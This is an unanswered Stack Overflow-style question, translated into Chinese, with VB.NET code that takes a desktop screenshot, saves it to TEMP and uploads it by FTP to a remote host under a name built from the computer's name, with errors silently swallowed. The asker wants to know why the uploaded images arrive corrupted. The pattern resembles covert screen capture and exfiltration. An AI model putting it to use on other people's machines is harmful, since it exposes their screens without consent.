VB.net - 将图像上传到FTP

时间:2015-07-19 23:41:11

标签: vb.net ftp byte

我试图截取桌面的截图并将其发送到我的FTP服务器 屏幕截图保存在TEMP文件夹中,然后上传。

这是FTP上传代码

Public Sub FTPScreen(ByVal _FileName As String, ByVal _UploadPath As String, ByVal _FTPUser As String, ByVal _FTPPass As String)
        Try
            Dim _FileInfo As New System.IO.FileInfo(_FileName)

            ' Create FtpWebRequest object from the Uri provided
            Dim _FtpWebRequest As System.Net.FtpWebRequest = CType(System.Net.FtpWebRequest.Create(New Uri(_UploadPath)), System.Net.FtpWebRequest)

            ' Provide the WebPermission Credintials
            _FtpWebRequest.Credentials = New System.Net.NetworkCredential(_FTPUser, _FTPPass)

            ' By default KeepAlive is true, where the control connection is not closed
            ' after a command is executed.
            _FtpWebRequest.KeepAlive = False

            ' set timeout for 20 seconds
            _FtpWebRequest.Timeout = 20000

            ' Specify the command to be executed.
            _FtpWebRequest.Method = System.Net.WebRequestMethods.Ftp.UploadFile

            ' Specify the data transfer type.
            _FtpWebRequest.UseBinary = True

            ' Notify the server about the size of the uploaded file
            _FtpWebRequest.ContentLength = _FileInfo.Length

            ' The buffer size is set to 2kb
            Dim buffLength As Integer = 2048
            Dim buff(buffLength - 1) As Byte

            ' Opens a file stream (System.IO.FileStream) to read the file to be uploaded
            Dim _FileStream As System.IO.FileStream = _FileInfo.OpenRead()

            Try
                ' Stream to which the file to be upload is written
                Dim _Stream As System.IO.Stream = _FtpWebRequest.GetRequestStream()

                ' Read from the file stream 2kb at a time
                Dim contentLen As Integer = _FileStream.Read(buff, 0, buffLength)

                ' Till Stream content ends
                Do While contentLen <> 0
                    ' Write Content from the file stream to the FTP Upload Stream
                    _Stream.Write(buff, 0, contentLen)
                    contentLen = _FileStream.Read(buff, 0, buffLength)
                Loop

                ' Close the file stream and the Request Stream
                _Stream.Close()
                _Stream.Dispose()
                _FileStream.Close()
                _FileStream.Dispose()
            Catch ex As Exception

            End Try

这是上传屏幕截图的方法

Try
            Dim SnapDir As String = My.Computer.FileSystem.SpecialDirectories.Temp & "\ScreenShot"
          ' save the screenshot to temp folder
            Dim screenshot As Size = New Size(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
            Dim screengrab As New Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
            Dim g As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(screengrab)
            g.CopyFromScreen(New Point(0, 0), New Point(0, 0), screenshot)


            screengrab.Save(SnapDir) ' screenshot saved






            FTPScreen(SnapDir, "ftp://ftp.morlza1.zz.mu/" & "2015" & My.Computer.Name, "user", "pass")

        Catch ex As Exception
            MsgBox(ex.Message)
        End Try
            Catch ex As Exception
            End Try
        End Sub

屏幕截图确实保存到我的临时文件夹中,我可以毫无问题地查看它。 但是当我上传到FTP。发生了两件事 1-图像尺寸增加1 K. 2-图像损坏,无法查看

我确实包含了一个try语句来检查是否有任何错误因为没有错误所以我猜错了代码

0 个答案:

没有答案